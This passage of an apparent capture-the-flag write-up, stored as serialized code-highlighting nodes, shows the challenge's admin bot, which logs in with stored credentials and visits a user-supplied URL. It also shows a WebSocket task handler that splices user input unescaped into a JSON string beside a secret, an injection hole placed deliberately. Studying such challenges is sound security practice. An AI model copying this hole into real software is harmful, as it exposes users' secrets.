waitUntil",{"type":29,"tag":128,"props":2439,"children":2440},{"style":188},[2441],{"type":34,"value":238},{"type":29,"tag":128,"props":2443,"children":2444},{"style":216},[2445],{"type":34,"value":1418},{"type":29,"tag":128,"props":2447,"children":2448},{"style":222},[2449],{"type":34,"value":2450},"networkidle2",{"type":29,"tag":128,"props":2452,"children":2453},{"style":216},[2454],{"type":34,"value":219},{"type":29,"tag":128,"props":2456,"children":2457},{"style":188},[2458],{"type":34,"value":2459}," })\n",{"type":29,"tag":128,"props":2461,"children":2462},{"class":130,"line":1038},[2463,2467,2471,2475,2480,2484,2488,2492,2496],{"type":29,"tag":128,"props":2464,"children":2465},{"style":182},[2466],{"type":34,"value":2401},{"type":29,"tag":128,"props":2468,"children":2469},{"style":205},[2470],{"type":34,"value":2361},{"type":29,"tag":128,"props":2472,"children":2473},{"style":188},[2474],{"type":34,"value":64},{"type":29,"tag":128,"props":2476,"children":2477},{"style":743},[2478],{"type":34,"value":2479},"waitForSelector",{"type":29,"tag":128,"props":2481,"children":2482},{"style":188},[2483],{"type":34,"value":793},{"type":29,"tag":128,"props":2485,"children":2486},{"style":216},[2487],{"type":34,"value":219},{"type":29,"tag":128,"props":2489,"children":2490},{"style":222},[2491],{"type":34,"value":417},{"type":29,"tag":128,"props":2493,"children":2494},{"style":216},[2495],{"type":34,"value":219},{"type":29,"tag":128,"props":2497,"children":2498},{"style":188},[2499],{"type":34,"value":1202},{"type":29,"tag":128,"props":2501,"children":2502},{"class":130,"line":1685},[2503,2507,2511,2515,2520,2524,2528,2533,2537,2541,2546,2550,2555,2559,2564],{"type":29,"tag":128,"props":2504,"children":2505},{"style":182},[2506],{"type":34,"value":2401},{"type":29,"tag":128,"props":2508,"children":2509},{"style":205},[2510],{"type":34,"value":2361},{"type":29,"tag":128,"props":2512,"children":2513},{"style":188},[2514],{"type":34,"value":64},{"type":29,"tag":128,"props":2516,"children":2517},{"style":743},[2518],{"type":34,"value":2519},"type",{"type":29,"tag":128,"props":2521,"children":2522},{"style":188},[2523],{"type":34,"value":793},{"type":29,"tag":128,"props":2525,"children":2526},{"style":216},[2527],{"type":34,"value":219},{"type":29,"tag":128,"props":2529,"children":2530},{"style":222},[2531],{"type":34,"value":2532},"wired-input[name=username]",{"type":29,"tag":128,"props":2534,"children":2535},{"style":216},[2536],{"type":34,"value":219},{"type":29,"tag":128,"props":2538,"children":2539},{"style":188},[2540],{"type":34,"value":1099},{"type":29,"tag":128,"props":2542,"children":2543},{"style":205},[2544],{"type":34,"value":2545}," process",{"type":29,"tag":128,"props":2547,"children":2548},{"style":188},[2549],{"type":34,"value":64},{"type":29,"tag":128,"props":2551,"children":2552},{"style":205},[2553],{"type":34,"value":2554},"env",{"type":29,"tag":128,"props":2556,"children":2557},{"style":188},[2558],{"type":34,"value":64},{"type":29,"tag":128,"props":2560,"children":2561},{"style":205},[2562],{"type":34,"value":2563},"USERNAME",{"type":29,"tag":128,"props":2565,"children":2566},{"style":188},[2567],{"type":34,"value":1202},{"type":29,"tag":128,"props":2569,"children":2570},{"class":130,"line":1750},[2571,2575,2579,2583,2587,2591,2595,2600,2604,2608,2612,2616,2620,2624,2629],{"type":29,"tag":128,"props":2572,"children":2573},{"style":182},[2574],{"type":34,"value":2401},{"type":29,"tag":128,"props":2576,"children":2577},{"style":205},[2578],{"type":34,"value":2361},{"type":29,"tag":128,"props":2580,"children":2581},{"style":188},[2582],{"type":34,"value":64},{"type":29,"tag":128,"props":2584,"children":2585},{"style":743},[2586],{"type":34,"value":2519},{"type":29,"tag":128,"props":2588,"children":2589},{"style":188},[2590],{"type":34,"value":793},{"type":29,"tag":128,"props":2592,"children":2593},{"style":216},[2594],{"type":34,"value":219},{"type":29,"tag":128,"props":2596,"children":2597},{"style":222},[2598],{"type":34,"value":2599},"wired-input[name=password]",{"type":29,"tag":128,"props":2601,"children":2602},{"style":216},[2603],{"type":34,"value":219},{"type":29,"tag":128,"props":2605,"children":2606},{"style":188},[2607],{"type":34,"value":1099},{"type":29,"tag":128,"props":2609,"children":2610},{"style":205},[2611],{"type":34,"value":2545},{"type":29,"tag":128,"props":2613,"children":2614},{"style":188},[2615],{"type":34,"value":64},{"type":29,"tag":128,"props":2617,"children":2618},{"style":205},[2619],{"type":34,"value":2554},{"type":29,"tag":128,"props":2621,"children":2622},{"style":188},[2623],{"type":34,"value":64},{"type":29,"tag":128,"props":2625,"children":2626},{"style":205},[2627],{"type":34,"value":2628},"PASSWORD",{"type":29,"tag":128,"props":2630,"children":2631},{"style":188},[2632],{"type":34,"value":1202},{"type":29,"tag":128,"props":2634,"children":2635},{"class":130,"line":1758},[2636,2640,2644,2648,2653,2657,2661,2666,2670],{"type":29,"tag":128,"props":2637,"children":2638},{"style":182},[2639],{"type":34,"value":2401},{"type":29,"tag":128,"props":2641,"children":2642},{"style":205},[2643],{"type":34,"value":2361},{"type":29,"tag":128,"props":2645,"children":2646},{"style":188},[2647],{"type":34,"value":64},{"type":29,"tag":128,"props":2649,"children":2650},{"style":743},[2651],{"type":34,"value":2652},"click",{"type":29,"tag":128,"props":2654,"children":2655},{"style":188},[2656],{"type":34,"value":793},{"type":29,"tag":128,"props":2658,"children":2659},{"style":216},[2660],{"type":34,"value":219},{"type":29,"tag":128,"props":2662,"children":2663},{"style":222},[2664],{"type":34,"value":2665},"wired-button",{"type":29,"tag":128,"props":2667,"children":2668},{"style":216},[2669],{"type":34,"value":219},{"type":29,"tag":128,"props":2671,"children":2672},{"style":188},[2673],{"type":34,"value":1202},{"type":29,"tag":128,"props":2675,"children":2676},{"class":130,"line":1766},[2677],{"type":29,"tag":128,"props":2678,"children":2679},{"emptyLinePlaceholder":906},[2680],{"type":34,"value":909},{"type":29,"tag":128,"props":2682,"children":2683},{"class":130,"line":1779},[2684,2688],{"type":29,"tag":128,"props":2685,"children":2686},{"style":182},[2687],{"type":34,"value":1772},{"type":29,"tag":128,"props":2689,"children":2690},{"style":188},[2691],{"type":34,"value":1137},{"type":29,"tag":128,"props":2693,"children":2694},{"class":130,"line":1853},[2695,2700,2704,2708,2712,2716,2720,2724,2728,2732,2736,2740,2744,2748],{"type":29,"tag":128,"props":2696,"children":2697},{"style":182},[2698],{"type":34,"value":2699},"        await",{"type":29,"tag":128,"props":2701,"children":2702},{"style":205},[2703],{"type":34,"value":2361},{"type":29,"tag":128,"props":2705,"children":2706},{"style":188},[2707],{"type":34,"value":64},{"type":29,"tag":128,"props":2709,"children":2710},{"style":743},[2711],{"type":34,"value":2414},{"type":29,"tag":128,"props":2713,"children":2714},{"style":188},[2715],{"type":34,"value":793},{"type":29,"tag":128,"props":2717,"children":2718},{"style":205},[2719],{"type":34,"value":2299},{"type":29,"tag":128,"props":2721,"children":2722},{"style":188},[2723],{"type":34,"value":1099},{"type":29,"tag":128,"props":2725,"children":2726},{"style":188},[2727],{"type":34,"value":2432},{"type":29,"tag":128,"props":2729,"children":2730},{"style":194},[2731],{"type":34,"value":2437},{"type":29,"tag":128,"props":2733,"children":2734},{"style":188},[2735],{"type":34,"value":238},{"type":29,"tag":128,"props":2737,"children":2738},{"style":216},[2739],{"type":34,"value":1418},{"type":29,"tag":128,"props":2741,"children":2742},{"style":222},[2743],{"type":34,"value":2450},{"type":29,"tag":128,"props":2745,"children":2746},{"style":216},[2747],{"type":34,"value":219},{"type":29,"tag":128,"props":2749,"children":2750},{"style":188},[2751],{"type":34,"value":2459},{"type":29,"tag":128,"props":2753,"children":2754},{"class":130,"line":1910},[2755,2759,2764],{"type":29,"tag":128,"props":2756,"children":2757},{"style":188},[2758],{"type":34,"value":1916},{"type":29,"tag":128,"props":2760,"children":2761},{"style":182},[2762],{"type":34,"value":2763}," finally",{"type":29,"tag":128,"props":2765,"children":2766},{"style":188},[2767],{"type":34,"value":1137},{"type":29,"tag":128,"props":2769,"children":2770},{"class":130,"line":1941},[2771,2775,2779,2783,2788],{"type":29,"tag":128,"props":2772,"children":2773},{"style":182},[2774],{"type":34,"value":2699},{"type":29,"tag":128,"props":2776,"children":2777},{"style":205},[2778],{"type":34,"value":2361},{"type":29,"tag":128,"props":2780,"children":2781},{"style":188},[2782],{"type":34,"value":64},{"type":29,"tag":128,"props":2784,"children":2785},{"style":743},[2786],{"type":34,"value":2787},"close",{"type":29,"tag":128,"props":2789,"children":2790},{"style":188},[2791],{"type":34,"value":2349},{"type":29,"tag":128,"props":2793,"children":2794},{"class":130,"line":2006},[2795,2799,2803,2807,2811],{"type":29,"tag":128,"props":2796,"children":2797},{"style":182},[2798],{"type":34,"value":2699},{"type":29,"tag":128,"props":2800,"children":2801},{"style":205},[2802],{"type":34,"value":2323},{"type":29,"tag":128,"props":2804,"children":2805},{"style":188},[2806],{"type":34,"value":64},{"type":29,"tag":128,"props":2808,"children":2809},{"style":743},[2810],{"type":34,"value":2787},{"type":29,"tag":128,"props":2812,"children":2813},{"style":188},[2814],{"type":34,"value":2349},{"type":29,"tag":128,"props":2816,"children":2817},{"class":130,"line":2014},[2818],{"type":29,"tag":128,"props":2819,"children":2820},{"style":188},[2821],{"type":34,"value":1363},{"type":29,"tag":128,"props":2823,"children":2824},{"class":130,"line":2022},[2825],{"type":29,"tag":128,"props":2826,"children":2827},{"style":188},[2828],{"type":34,"value":2829},"}\n",{"type":29,"tag":128,"props":2831,"children":2832},{"class":130,"line":2030},[2833],{"type":29,"tag":128,"props":2834,"children":2835},{"emptyLinePlaceholder":906},[2836],{"type":34,"value":909},{"type":29,"tag":128,"props":2838,"children":2839},{"class":130,"line":2040},[2840,2844,2848,2852,2856,2860,2864,2868,2872,2876,2880],{"type":29,"tag":128,"props":2841,"children":2842},{"style":135},[2843],{"type":34,"value":2134},{"type":29,"tag":128,"props":2845,"children":2846},{"style":743},[2847],{"type":34,"value":2079},{"type":29,"tag":128,"props":2849,"children":2850},{"style":188},[2851],{"type":34,"value":1220},{"type":29,"tag":128,"props":2853,"children":2854},{"style":135},[2855],{"type":34,"value":1104},{"type":29,"tag":128,"props":2857,"children":2858},{"style":188},[2859],{"type":34,"value":191},{"type":29,"tag":128,"props":2861,"children":2862},{"style":205},[2863],{"type":34,"value":1113},{"type":29,"tag":128,"props":2865,"children":2866},{"style":188},[2867],{"type":34,"value":1099},{"type":29,"tag":128,"props":2869,"children":2870},{"style":205},[2871],{"type":34,"value":1122},{"type":29,"tag":128,"props":2873,"children":2874},{"style":188},[2875],{"type":34,"value":1127},{"type":29,"tag":128,"props":2877,"children":2878},{"style":188},[2879],{"type":34,"value":1132},{"type":29,"tag":128,"props":2881,"children":2882},{"style":188},[2883],{"type":34,"value":1137},{"type":29,"tag":128,"props":2885,"children":2887},{"class":130,"line":2886},29,[2888],{"type":29,"tag":128,"props":2889,"children":2890},{"emptyLinePlaceholder":906},[2891],{"type":34,"value":909},{"type":29,"tag":128,"props":2893,"children":2895},{"class":130,"line":2894},30,[2896,2900,2904,2908,2913,2917],{"type":29,"tag":128,"props":2897,"children":2898},{"style":182},[2899],{"type":34,"value":1275},{"type":29,"tag":128,"props":2901,"children":2902},{"style":188},[2903],{"type":34,"value":191},{"type":29,"tag":128,"props":2905,"children":2906},{"style":135},[2907],{"type":34,"value":1531},{"type":29,"tag":128,"props":2909,"children":2910},{"style":205},[2911],{"type":34,"value":2912},"browser",{"type":29,"tag":128,"props":2914,"children":2915},{"style":188},[2916],{"type":34,"value":1127},{"type":29,"tag":128,"props":2918,"children":2919},{"style":188},[2920],{"type":34,"value":1137},{"type":29,"tag":128,"props":2922,"children":2924},{"class":130,"line":2923},31,[2925,2930,2934,2938,2942,2946,2951,2955],{"type":29,"tag":128,"props":2926,"children":2927},{"style":205},[2928],{"type":34,"value":2929},"        console",{"type":29,"tag":128,"props":2931,"children":2932},{"style":188},[2933],{"type":34,"value":64},{"type":29,"tag":128,"props":2935,"children":2936},{"style":743},[2937],{"type":34,"value":1154},{"type":29,"tag":128,"props":2939,"children":2940},{"style":188},[2941],{"type":34,"value":793},{"type":29,"tag":128,"props":2943,"children":2944},{"style":216},[2945],{"type":34,"value":219},{"type":29,"tag":128,"props":2947,"children":2948},{"style":222},[2949],{"type":34,"value":2950},"[INFO] Starting browser",{"type":29,"tag":128,"props":2952,"children":2953},{"style":216},[2954],{"type":34,"value":219},{"type":29,"tag":128,"props":2956,"children":2957},{"style":188},[2958],{"type":34,"value":1202},{"type":29,"tag":128,"props":2960,"children":2962},{"class":130,"line":2961},32,[2963,2968,2972,2976,2980,2984,2989],{"type":29,"tag":128,"props":2964,"children":2965},{"style":205},[2966],{"type":34,"value":2967},"        browser",{"type":29,"tag":128,"props":2969,"children":2970},{"style":188},[2971],{"type":34,"value":1220},{"type":29,"tag":128,"props":2973,"children":2974},{"style":182},[2975],{"type":34,"value":1225},{"type":29,"tag":128,"props":2977,"children":2978},{"style":205},[2979],{"type":34,"value":2139},{"type":29,"tag":128,"props":2981,"children":2982},{"style":188},[2983],{"type":34,"value":64},{"type":29,"tag":128,"props":2985,"children":2986},{"style":743},[2987],{"type":34,"value":2988},"launch",{"type":29,"tag":128,"props":2990,"children":2991},{"style":188},[2992],{"type":34,"value":2993},"({\n",{"type":29,"tag":128,"props":2995,"children":2997},{"class":130,"line":2996},33,[2998,3003,3007],{"type":29,"tag":128,"props":2999,"children":3000},{"style":194},[3001],{"type":34,"value":3002},"            args",{"type":29,"tag":128,"props":3004,"children":3005},{"style":188},[3006],{"type":34,"value":238},{"type":29,"tag":128,"props":3008,"children":3009},{"style":188},[3010],{"type":34,"value":3011}," [\n",{"type":29,"tag":128,"props":3013,"children":3015},{"class":130,"line":3014},34,[3016],{"type":29,"tag":128,"props":3017,"children":3018},{"style":188},[3019],{"type":34,"value":3020},"                ...\n",{"type":29,"tag":128,"props":3022,"children":3024},{"class":130,"line":3023},35,[3025],{"type":29,"tag":128,"props":3026,"children":3027},{"style":188},[3028],{"type":34,"value":3029},"            ]\n",{"type":29,"tag":128,"props":3031,"children":3033},{"class":130,"line":3032},36,[3034],{"type":29,"tag":128,"props":3035,"children":3036},{"style":188},[3037],{"type":34,"value":3038},"        })\n",{"type":29,"tag":128,"props":3040,"children":3042},{"class":130,"line":3041},37,[3043],{"type":29,"tag":128,"props":3044,"children":3045},{"style":188},[3046],{"type":34,"value":1363},{"type":29,"tag":128,"props":3048,"children":3050},{"class":130,"line":3049},38,[3051],{"type":29,"tag":128,"props":3052,"children":3053},{"emptyLinePlaceholder":906},[3054],{"type":34,"value":909},{"type":29,"tag":128,"props":3056,"children":3058},{"class":130,"line":3057},39,[3059,3063,3068,3072,3076,3080,3084,3088],{"type":29,"tag":128,"props":3060,"children":3061},{"style":135},[3062],{"type":34,"value":1210},{"type":29,"tag":128,"props":3064,"children":3065},{"style":205},[3066],{"type":34,"value":3067}," url",{"type":29,"tag":128,"props":3069,"children":3070},{"style":188},[3071],{"type":34,"value":1220},{"type":29,"tag":128,"props":3073,"children":3074},{"style":205},[3075],{"type":34,"value":1179},{"type":29,"tag":128,"props":3077,"children":3078},{"style":188},[3079],{"type":34,"value":64},{"type":29,"tag":128,"props":3081,"children":3082},{"style":205},[3083],{"type":34,"value":162},{"type":29,"tag":128,"props":3085,"children":3086},{"style":188},[3087],{"type":34,"value":64},{"type":29,"tag":128,"props":3089,"children":3090},{"style":205},[3091],{"type":34,"value":3092},"url\n",{"type":29,"tag":128,"props":3094,"children":3096},{"class":130,"line":3095},40,[3097,3101],{"type":29,"tag":128,"props":3098,"children":3099},{"style":182},[3100],{"type":34,"value":1275},{"type":29,"tag":128,"props":3102,"children":3103},{"style":188},[3104],{"type":34,"value":752},{"type":29,"tag":128,"props":3106,"children":3108},{"class":130,"line":3107},41,[3109,3114,3119,3124],{"type":29,"tag":128,"props":3110,"children":3111},{"style":205},[3112],{"type":34,"value":3113},"        url",{"type":29,"tag":128,"props":3115,"children":3116},{"style":135},[3117],{"type":34,"value":3118}," ===",{"type":29,"tag":128,"props":3120,"children":3121},{"style":135},[3122],{"type":34,"value":3123}," undefined",{"type":29,"tag":128,"props":3125,"children":3126},{"style":135},[3127],{"type":34,"value":3128}," ||\n",{"type":29,"tag":128,"props":3130,"children":3132},{"class":130,"line":3131},42,[3133,3138,3142,3146,3150,3155,3159,3163,3168,3172,3176,3181,3186,3190,3194,3198,3202,3206,3211,3215],{"type":29,"tag":128,"props":3134,"children":3135},{"style":188},[3136],{"type":34,"value":3137},"        (",{"type":29,"tag":128,"props":3139,"children":3140},{"style":135},[3141],{"type":34,"value":1531},{"type":29,"tag":128,"props":3143,"children":3144},{"style":205},[3145],{"type":34,"value":2299},{"type":29,"tag":128,"props":3147,"children":3148},{"style":188},[3149],{"type":34,"value":64},{"type":29,"tag":128,"props":3151,"children":3152},{"style":743},[3153],{"type":34,"value":3154},"startsWith",{"type":29,"tag":128,"props":3156,"children":3157},{"style":188},[3158],{"type":34,"value":793},{"type":29,"tag":128,"props":3160,"children":3161},{"style":216},[3162],{"type":34,"value":219},{"type":29,"tag":128,"props":3164,"children":3165},{"style":222},[3166],{"type":34,"value":3167},"http://",{"type":29,"tag":128,"props":3169,"children":3170},{"style":216},[3171],{"type":34,"value":219},{"type":29,"tag":128,"props":3173,"children":3174},{"style":188},[3175],{"type":34,"value":1127},{"type":29,"tag":128,"props":3177,"children":3178},{"style":135},[3179],{"type":34,"value":3180}," &&",{"type":29,"tag":128,"props":3182,"children":3183},{"style":135},[3184],{"type":34,"value":3185}," !",{"type":29,"tag":128,"props":3187,"children":3188},{"style":205},[3189],{"type":34,"value":2299},{"type":29,"tag":128,"props":3191,"children":3192},{"style":188},[3193],{"type":34,"value":64},{"type":29,"tag":128,"props":3195,"children":3196},{"style":743},[3197],{"type":34,"value":3154},{"type":29,"tag":128,"props":3199,"children":3200},{"style":188},[3201],{"type":34,"value":793},{"type":29,"tag":128,"props":3203,"children":3204},{"style":216},[3205],{"type":34,"value":219},{"type":29,"tag":128,"props":3207,"children":3208},{"style":222},[3209],{"type":34,"value":3210},"https://",{"type":29,"tag":128,"props":3212,"children":3213},{"style":216},[3214],{"type":34,"value":219},{"type":29,"tag":128,"props":3216,"children":3217},{"style":188},[3218],{"type":34,"value":3219},"))\n",{"type":29,"tag":128,"props":3221,"children":3223},{"class":130,"line":3222},43,[3224,3229],{"type":29,"tag":128,"props":3225,"children":3226},{"style":188},[3227],{"type":34,"value":3228},"    )",{"type":29,"tag":128,"props":3230,"children":3231},{"style":188},[3232],{"type":34,"value":1137},{"type":29,"tag":128,"props":3234,"children":3236},{"class":130,"line":3235},44,[3237,3241,3245,3249,3253,3257,3261,3265,3270,3274,3278,3282,3286,3291,3295],{"type":29,"tag":128,"props":3238,"children":3239},{"style":182},[3240],{"type":34,"value":1300},{"type":29,"tag":128,"props":3242,"children":3243},{"style":205},[3244],{"type":34,"value":1122},{"type":29,"tag":128,"props":3246,"children":3247},{"style":188},[3248],{"type":34,"value":64},{"type":29,"tag":128,"props":3250,"children":3251},{"style":743},[3252],{"type":34,"value":1313},{"type":29,"tag":128,"props":3254,"children":3255},{"style":188},[3256],{"type":34,"value":793},{"type":29,"tag":128,"props":3258,"children":3259},{"style":796},[3260],{"type":34,"value":1392},{"type":29,"tag":128,"props":3262,"children":3263},{"style":188},[3264],{"type":34,"value":1327},{"type":29,"tag":128,"props":3266,"children":3267},{"style":743},[3268],{"type":34,"value":3269},"send",{"type":29,"tag":128,"props":3271,"children":3272},{"style":188},[3273],{"type":34,"value":1337},{"type":29,"tag":128,"props":3275,"children":3276},{"style":194},[3277],{"type":34,"value":1409},{"type":29,"tag":128,"props":3279,"children":3280},{"style":188},[3281],{"type":34,"value":238},{"type":29,"tag":128,"props":3283,"children":3284},{"style":216},[3285],{"type":34,"value":1418},{"type":29,"tag":128,"props":3287,"children":3288},{"style":222},[3289],{"type":34,"value":3290},"Invalid URL",{"type":29,"tag":128,"props":3292,"children":3293},{"style":216},[3294],{"type":34,"value":219},{"type":29,"tag":128,"props":3296,"children":3297},{"style":188},[3298],{"type":34,"value":2459},{"type":29,"tag":128,"props":3300,"children":3302},{"class":130,"line":3301},45,[3303],{"type":29,"tag":128,"props":3304,"children":3305},{"style":188},[3306],{"type":34,"value":1363},{"type":29,"tag":128,"props":3308,"children":3310},{"class":130,"line":3309},46,[3311],{"type":29,"tag":128,"props":3312,"children":3313},{"emptyLinePlaceholder":906},[3314],{"type":34,"value":909},{"type":29,"tag":128,"props":3316,"children":3318},{"class":130,"line":3317},47,[3319,3323],{"type":29,"tag":128,"props":3320,"children":3321},{"style":182},[3322],{"type":34,"value":1772},{"type":29,"tag":128,"props":3324,"children":3325},{"style":188},[3326],{"type":34,"value":1137},{"type":29,"tag":128,"props":3328,"children":3330},{"class":130,"line":3329},48,[3331,3335,3339,3343,3347],{"type":29,"tag":128,"props":3332,"children":3333},{"style":182},[3334],{"type":34,"value":2699},{"type":29,"tag":128,"props":3336,"children":3337},{"style":743},[3338],{"type":34,"value":2282},{"type":29,"tag":128,"props":3340,"children":3341},{"style":188},[3342],{"type":34,"value":793},{"type":29,"tag":128,"props":3344,"children":3345},{"style":205},[3346],{"type":34,"value":2299},{"type":29,"tag":128,"props":3348,"children":3349},{"style":188},[3350],{"type":34,"value":1202},{"type":29,"tag":128,"props":3352,"children":3354},{"class":130,"line":3353},49,[3355,3359,3363,3367,3372,3376,3380],{"type":29,"tag":128,"props":3356,"children":3357},{"style":182},[3358],{"type":34,"value":1300},{"type":29,"tag":128,"props":3360,"children":3361},{"style":205},[3362],{"type":34,"value":1122},{"type":29,"tag":128,"props":3364,"children":3365},{"style":188},[3366],{"type":34,"value":64},{"type":29,"tag":128,"props":3368,"children":3369},{"style":743},[3370],{"type":34,"value":3371},"sendStatus",{"type":29,"tag":128,"props":3373,"children":3374},{"style":188},[3375],{"type":34,"value":793},{"type":29,"tag":128,"props":3377,"children":3378},{"style":796},[3379],{"type":34,"value":1322},{"type":29,"tag":128,"props":3381,"children":3382},{"style":188},[3383],{"type":34,"value":1202},{"type":29,"tag":128,"props":3385,"children":3387},{"class":130,"line":3386},50,[3388,3392,3396,3400,3404,3408],{"type":29,"tag":128,"props":3389,"children":3390},{"style":188},[3391],{"type":34,"value":1916},{"type":29,"tag":128,"props":3393,"children":3394},{"style":182},[3395],{"type":34,"value":1921},{"type":29,"tag":128,"props":3397,"children":3398},{"style":188},[3399],{"type":34,"value":191},{"type":29,"tag":128,"props":3401,"children":3402},{"style":205},[3403],{"type":34,"value":1930},{"type":29,"tag":128,"props":3405,"children":3406},{"style":188},[3407],{"type":34,"value":1127},{"type":29,"tag":128,"props":3409,"children":3410},{"style":188},[3411],{"type":34,"value":1137},{"type":29,"tag":128,"props":3413,"children":3415},{"class":130,"line":3414},51,[3416,3420,3424,3428,3432,3436,3440,3444,3448,3452,3456,3460,3465,3469,3474],{"type":29,"tag":128,"props":3417,"children":3418},{"style":182},[3419],{"type":34,"value":1300},{"type":29,"tag":128,"props":3421,"children":3422},{"style":205},[3423],{"type":34,"value":1122},{"type":29,"tag":128,"props":3425,"children":3426},{"style":188},[3427],{"type":34,"value":64},{"type":29,"tag":128,"props":3429,"children":3430},{"style":743},[3431],{"type":34,"value":1313},{"type":29,"tag":128,"props":3433,"children":3434},{"style":188},[3435],{"type":34,"value":793},{"type":29,"tag":128,"props":3437,"children":3438},{"style":796},[3439],{"type":34,"value":1392},{"type":29,"tag":128,"props":3441,"children":3442},{"style":188},[3443],{"type":34,"value":1327},{"type":29,"tag":128,"props":3445,"children":3446},{"style":743},[3447],{"type":34,"value":3269},{"type":29,"tag":128,"props":3449,"children":3450},{"style":188},[3451],{"type":34,"value":1337},{"type":29,"tag":128,"props":3453,"children":3454},{"style":194},[3455],{"type":34,"value":1409},{"type":29,"tag":128,"props":3457,"children":3458},{"style":188},[3459],{"type":34,"value":238},{"type":29,"tag":128,"props":3461,"children":3462},{"style":205},[3463],{"type":34,"value":3464}," e",{"type":29,"tag":128,"props":3466,"children":3467},{"style":188},[3468],{"type":34,"value":64},{"type":29,"tag":128,"props":3470,"children":3471},{"style":205},[3472],{"type":34,"value":3473},"message",{"type":29,"tag":128,"props":3475,"children":3476},{"style":188},[3477],{"type":34,"value":2459},{"type":29,"tag":128,"props":3479,"children":3481},{"class":130,"line":3480},52,[3482],{"type":29,"tag":128,"props":3483,"children":3484},{"style":188},[3485],{"type":34,"value":1363},{"type":29,"tag":128,"props":3487,"children":3489},{"class":130,"line":3488},53,[3490],{"type":29,"tag":128,"props":3491,"children":3492},{"style":188},[3493],{"type":34,"value":2829},{"type":29,"tag":128,"props":3495,"children":3497},{"class":130,"line":3496},54,[3498],{"type":29,"tag":128,"props":3499,"children":3500},{"emptyLinePlaceholder":906},[3501],{"type":34,"value":909},{"type":29,"tag":128,"props":3503,"children":3505},{"class":130,"line":3504},55,[3506,3511,3515,3520,3524,3528,3532],{"type":29,"tag":128,"props":3507,"children":3508},{"style":194},[3509],{"type":34,"value":3510},"module",{"type":29,"tag":128,"props":3512,"children":3513},{"style":188},[3514],{"type":34,"value":64},{"type":29,"tag":128,"props":3516,"children":3517},{"style":194},[3518],{"type":34,"value":3519},"exports",{"type":29,"tag":128,"props":3521,"children":3522},{"style":188},[3523],{"type":34,"value":1220},{"type":29,"tag":128,"props":3525,"children":3526},{"style":188},[3527],{"type":34,"value":2432},{"type":29,"tag":128,"props":3529,"children":3530},{"style":205},[3531],{"type":34,"value":2079},{"type":29,"tag":128,"props":3533,"children":3534},{"style":188},[3535],{"type":34,"value":3536}," }\n",{"type":29,"tag":43,"props":3538,"children":3539},{},[3540,3542,3547],{"type":34,"value":3541},"The ",{"type":29,"tag":49,"props":3543,"children":3545},{"className":3544},[],[3546],{"type":34,"value":2114},{"type":34,"value":3548}," will visit first the login page of the todoApp and use credentials to log as admin. Then it will visit the url that is passed in the request body.",{"type":29,"tag":36,"props":3550,"children":3552},{"id":3551},"wshandler",[3553],{"type":34,"value":3554},"WsHandler",{"type":29,"tag":43,"props":3556,"children":3557},{},[3558,3560,3566],{"type":34,"value":3559},"And the most important part is the ",{"type":29,"tag":49,"props":3561,"children":3563},{"className":3562},[],[3564],{"type":34,"value":3565},"wsHandler.js",{"type":34,"value":3567}," file. It used to create a task.",{"type":29,"tag":114,"props":3569,"children":3570},{"lang":1056},[3571],{"type":29,"tag":119,"props":3572,"children":3574},{"code":3573,"language":1056,"meta":7,"className":1057,"style":7},"const { encrypt, decrypt } = require('./util/crypto');\n\nlet db;\nlet sessionParser;\n\nconst quotes = [\n    \"Genius is one percent inspiration and ninety-nine percent perspiration.\",\n    \"Fate is in your hands and no one elses.\",\n    \"Trust yourself. You know more than you think you do.\"\n];\n\nconst wsHandler = (ws, req) => {\n    let userId;\n    sessionParser(req, {}, () => {\n        if (req.session.userId) {\n            userId = req.session.userId;\n        } else {\n            ws.close();\n        }\n    });\n\n    ws.on('message', async (msg) => {\n        const data = JSON.parse(msg);\n        const secret = await db.getSecret(req.session.userId);\n\n        if (data.action === 'add') {\n            try {\n                await db.addTask(userId, `{\"title\":\"${data.title}\",\"description\":\"${data.description}\",\"secret\":\"${secret}\"}`);\n                ws.send(JSON.stringify({ success: true, action: 'add' }));\n            } catch (e) {\n                ws.send(JSON.stringify({ success: false, action: 'add' }));\n            }\n        }\n        else if (data.action === 'get') {\n            try {\n                const results = await db.getTasks(userId);\n                const tasks = [];\n                for (const result of results) {\n\n                    let quote;\n\n                    if (userId === 1) {\n                        quote = `A wise man once said, \"the flag is ${process.env.FLAG}\".`;\n                    } else {\n                        quote = quotes[Math.floor(Math.random() * quotes.length)];\n                    }\n\n                    try {\n                        const task = JSON.parse(result.data);\n                        tasks.push({\n                            title: encrypt(task.title, task.secret),\n                            description: encrypt(task.description, task.secret),\n                            quote: encrypt(quote, task.secret)\n                        });\n                    } catch (e) {\n                        console.log(`Error parsing task ${result.data}: ${e}`);\n                    }\n                }\n                ws.send(JSON.stringify({ success: true, action: 'get', tasks: tasks }));\n            } catch (e) {\n                ws.send(JSON.stringify({ success: false, action: 'get' }));\n            }\n        }\n        else {\n            ws.send(JSON.stringify({ success: false, error: 'Invalid action' }));\n        }\n    });\n};\n\nmodule.exports = (database, session) => {\n    db = database;\n    sessionParser = session;\n    return wsHandler;\n};\n",[3575],{"type":29,"tag":49,"props":3576,"children":3577},{"__ignoreMap":7},[3578,3636,3643,3658,3674,3681,3701,3722,3742,3759,3767,3774,3819,3836,3874,3914,3950,3966,3987,3995,4003,4010,4072,4114,4173,4180,4230,4242,4365,4446,4474,4550,4558,4565,4617,4628,4674,4695,4732,4739,4756,4763,4796,4860,4876,4954,4962,4969,4981,5030,5051,5105,5157,5202,5210,5237,5312,5320,5329,5421,5449,5525,5533,5541,5553,5630,5638,5646,5655,5663,5713,5735,5755,5771],{"type":29,"tag":128,"props":3579,"children":3580},{"class":130,"line":131},[3581,3585,3589,3594,3598,3602,3607,3611,3615,3619,3623,3628,3632],{"type":29,"tag":128,"props":3582,"children":3583},{"style":135},[3584],{"type":34,"value":2134},{"type":29,"tag":128,"props":3586,"children":3587},{"style":188},[3588],{"type":34,"value":2432},{"type":29,"tag":128,"props":3590,"children":3591},{"style":205},[3592],{"type":34,"value":3593}," encrypt",{"type":29,"tag":128,"props":3595,"children":3596},{"style":188},[3597],{"type":34,"value":1099},{"type":29,"tag":128,"props":3599,"children":3600},{"style":205},[3601],{"type":34,"value":1798},{"type":29,"tag":128,"props":3603,"children":3604},{"style":188},[3605],{"type":34,"value":3606}," 